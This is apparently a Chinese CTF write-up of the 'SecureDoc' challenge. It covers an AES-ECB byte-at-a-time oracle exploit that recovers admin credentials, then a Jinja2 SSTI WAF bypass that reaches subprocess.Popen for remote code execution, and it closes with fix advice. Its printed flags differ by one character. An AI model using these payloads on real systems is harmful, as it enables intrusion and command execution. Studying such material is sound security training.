SecureDoc 题目详解与利用链复现教学
1. 题目概述
题目名称:SecureDoc
题目类型:Web 安全综合挑战
访问地址:http://web-e925dea1e6.adworld.xctf.org.cn:80
最终 Flag:flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}
本题包含两段核心利用链:
- 普通用户功能中的 AES-ECB 字节恢复攻击,用于获取管理员凭据
- 管理员后台的 Jinja2 SSTI 漏洞,结合黑名单绕过实现 RCE
2. 第一阶段:AES-ECB 字节恢复 Oracle 攻击
2.1 漏洞定位
前端代码提示:"Preview with template function (ECB Oracle vulnerability)",明确指向 /documents/apply-template 端点。
2.2 长度探测与分析
向 /documents/apply-template 发送不同长度的 content 参数,观察返回的 total_length:
| 输入长度 | 总长度 | 加密块数 | 结论 |
|---|---|---|---|
| 0 | 82 | 6 blocks | 隐藏内容固定 82 字节 |
| 1 | 83 | 6 blocks | 块大小 16 字节 |
| 14 | 96 | 7 blocks | 15 字节时块数不变 |
| 15 | 97 | 7 blocks | 16 字节时块数增加 |
| 30 | 112 | 8 blocks | 符合 ECB 追加型 Oracle 特征 |
关键发现:
- AES 块大小:16 字节
- 隐藏后缀长度:82 字节
- 加密模式:ECB(电子密码本模式)
- 漏洞类型:可控输入 + 固定隐藏后缀的 ECB 字节恢复 Oracle
2.3 ECB Byte-at-a-Time 攻击原理
在 ECB 模式下,相同的明文块产生相同的密文块。攻击步骤如下:
-
确定攻击位置:
- 构造输入使目标字节位于块边界
- 示例:输入 15 个 'A',使第 16 字节为隐藏内容的第一个字节
-
建立参考密文:
# 发送 A*15,获取目标块的密文 reference_block = encrypt("A"*15 + secret_first_byte) -
暴力枚举:
for candidate in range(256): # 遍历所有可能的字节 test_input = "A"*15 + known_bytes + chr(candidate) test_block = encrypt(test_input)[target_block_index] if test_block == reference_block: # 找到匹配字节 recovered_byte = chr(candidate) -
迭代恢复:
- 每次成功恢复一个字节后,减少填充字节数
- 示例:恢复第 2 字节时,使用 A*14 + 已知第1字节 + 候选字节
2.4 完整攻击脚本解析
class ECBOracleExploit:
def detect_secret_length(self):
# 通过长度探测确定隐藏内容长度
# 输入长度从 0 递增,观察块数变化点
# 块数变化时:input_len + secret_len ≡ 0 (mod 16)
pass
def recover_secret(self, secret_len=82):
recovered = ""
for offset in range(secret_len):
# 构造填充使目标字节位于块边界
prefix_len = 15 - (offset % 16)
prefix = "A" * prefix_len
# 获取目标块的参考密文
target_block = self.get_encrypted_block(prefix, offset)
# 构建已知明文(已恢复的部分)
known_part = recovered[max(0, offset-15):offset]
# 枚举候选字符
for candidate in range(256):
test_input = prefix + known_part + chr(candidate)
if self.test_block_match(test_input, target_block, offset):
recovered += chr(candidate)
break
return recovered
2.5 恢复结果处理
攻击脚本运行后恢复的原始数据:
*******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssZWRjMGI0! ******
提取的管理员凭据:
- 用户名:suP3r@dm!n
- 密码:S3cur3P@ssZWRjMGI0!
3. 第二阶段:管理员登录与后台 SSTI 攻击
3.1 管理员登录验证
使用恢复的凭据登录:
POST /login HTTP/1.1
Content-Type: application/json
{"username":"suP3r@dm!n","password":"S3cur3P@ssZWRjMGI0!"}
成功响应:
{
"is_admin": true,
"message": "登录成功",
"username": "suP3r@dm!n"
}
3.2 后台功能分析
登录后访问管理员工作台:
GET /admin/dashboard
发现"报告模板预览"功能,端点:
POST /admin/report/preview
页面显示的模板语法示例:
{{ last_login }}
{{ username }}
{% if document_count > 40 %}
技术栈推断:后端使用 Jinja2 模板引擎渲染用户提交的内容。
3.3 SSTI 漏洞确认与 WAF 分析
直接测试 SSTI 有效,但存在 WAF 限制:
被过滤/禁用的关键词:
__init__globalsconfigrequest[](方括号访问)attr("upper")(属性访问)~(按位取反)- 字符串拼接
可用绕过技巧:
- 下划线变量:
_等价于_ - 十六进制编码:
__subclasses__→\x5f\x5fsubclasses\x5f\x5f - 属性访问替代:使用
|attr()过滤器
3.4 寻找可用的类继承链
步骤 1:获取 object 基类
{{ cycler.mro()|last }}
cycler 是 Jinja2 内置对象,mro() 返回方法解析顺序,last 过滤器获取最后一个元素(object 基类)。
步骤 2:获取所有子类
{{ cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")() }}
步骤 3:查找 subprocess.Popen
{% for c in cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")() %}
{% if "Popen" in c|string %}{{loop.index0}}:{{c}}{% endif %}
{% endfor %}
回显结果:
515:<class 'subprocess.Popen'>
确认 Popen 类在索引 515 位置。
3.5 构造 RCE Payload
最终执行命令的 payload:
{{((cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")()
|attr("\x5f\x5fgetitem\x5f\x5f")(515))("cat /flag",shell=True,stdout=-1)).communicate()}}
Payload 分解解析:
cycler.mro()|last→ 获取 object 基类|attr("\x5f\x5fsubclasses\x5f\x5f")()→ 调用__subclasses__()方法|attr("\x5f\x5fgetitem\x5f\x5f")(515)→ 通过__getitem__获取索引 515 的类("cat /flag",shell=True,stdout=-1)→ 实例化 Popen 执行命令.communicate()→ 获取命令输出
执行结果:
(b'flag{21faUyGbcaAZXXyHWH8BKMrLMhfOqOTFR}\n', None)
最终 Flag:
flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}
4. 漏洞防御与修复建议
4.1 ECB 模式漏洞修复
-
避免使用 ECB 模式:
# 错误 cipher = AES.new(key, AES.MODE_ECB) # 正确 cipher = AES.new(key, AES.MODE_GCM) # 使用认证加密模式 cipher = AES.new(key, AES.MODE_CBC, iv) # 使用带 IV 的模式 -
实施填充 Oracle 防护:
# 使用常量时间比较 import hmac hmac.compare_digest(calculated_mac, expected_mac) -
添加完整性校验:
# 加密前添加 HMAC hmac_tag = hmac.new(hmac_key, plaintext, 'sha256').digest() ciphertext = encrypt(plaintext + hmac_tag)
4.2 SSTI 漏洞修复
-
输入验证与过滤:
# 使用白名单限制模板变量 allowed_vars = ['username', 'last_login', 'document_count'] rendered = template.render(**{k: v for k, v in data.items() if k in allowed_vars}) -
沙箱环境配置:
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() # 禁用危险过滤器 env.filters.pop('attr', None) env.filters.pop('string', None) -
内容转义:
# 自动转义所有输出 from jinja2 import select_autoescape env = Environment(autoescape=select_autoescape(['html', 'xml']))
4.3 整体安全建议
- 最小权限原则:普通用户不应访问模板渲染功能
- WAF 增强:使用语义分析而非简单关键词过滤
- 日志监控:记录所有模板渲染请求和参数
- 定期审计:检查代码中的
eval()、render()等危险函数使用
5. 扩展学习与工具
5.1 相关工具
-
ECB Oracle 利用工具:
padbuster:自动化 Padding Oracle 攻击- 自定义脚本:基于长度探测的字节恢复
-
SSTI 检测与利用:
tplmap:自动化 SSTI 检测与利用Jinja2 SSTI 测试 Payloads:{{ config }} {{ self.__class__.__mro__ }} {{ ''.__class__.__mro__[1].__subclasses__() }}
5.2 学习资源
-
ECB 模式安全:
- 《Cryptopals Challenge》Set 2
- 《Applied Cryptography》第 9 章
-
SSTI 深入理解:
- PortSwigger: "Server-side template injection"
- OWASP: "Template Injection"
-
CTF 相关题目:
- HackTheBox: "Teacher"
- PentesterLab: "Jinja2 SSTI"
- CTFtime: 历年 SSTI 相关挑战
6. 总结
本题完整演示了从信息泄露到权限提升再到远程代码执行的全链条攻击:
- 信息收集:通过前端代码发现线索
- 密码学攻击:利用 ECB 模式弱点恢复敏感信息
- 权限提升:使用泄露的凭据获取管理员权限
- 代码注入:绕过 WAF 实现 SSTI RCE
- Flag 获取:执行系统命令读取 flag
此题涵盖了 Web 安全中多个重要知识点,包括加密模式安全、Oracle 攻击、模板注入、WAF 绕过等,是综合性很强的实战训练案例。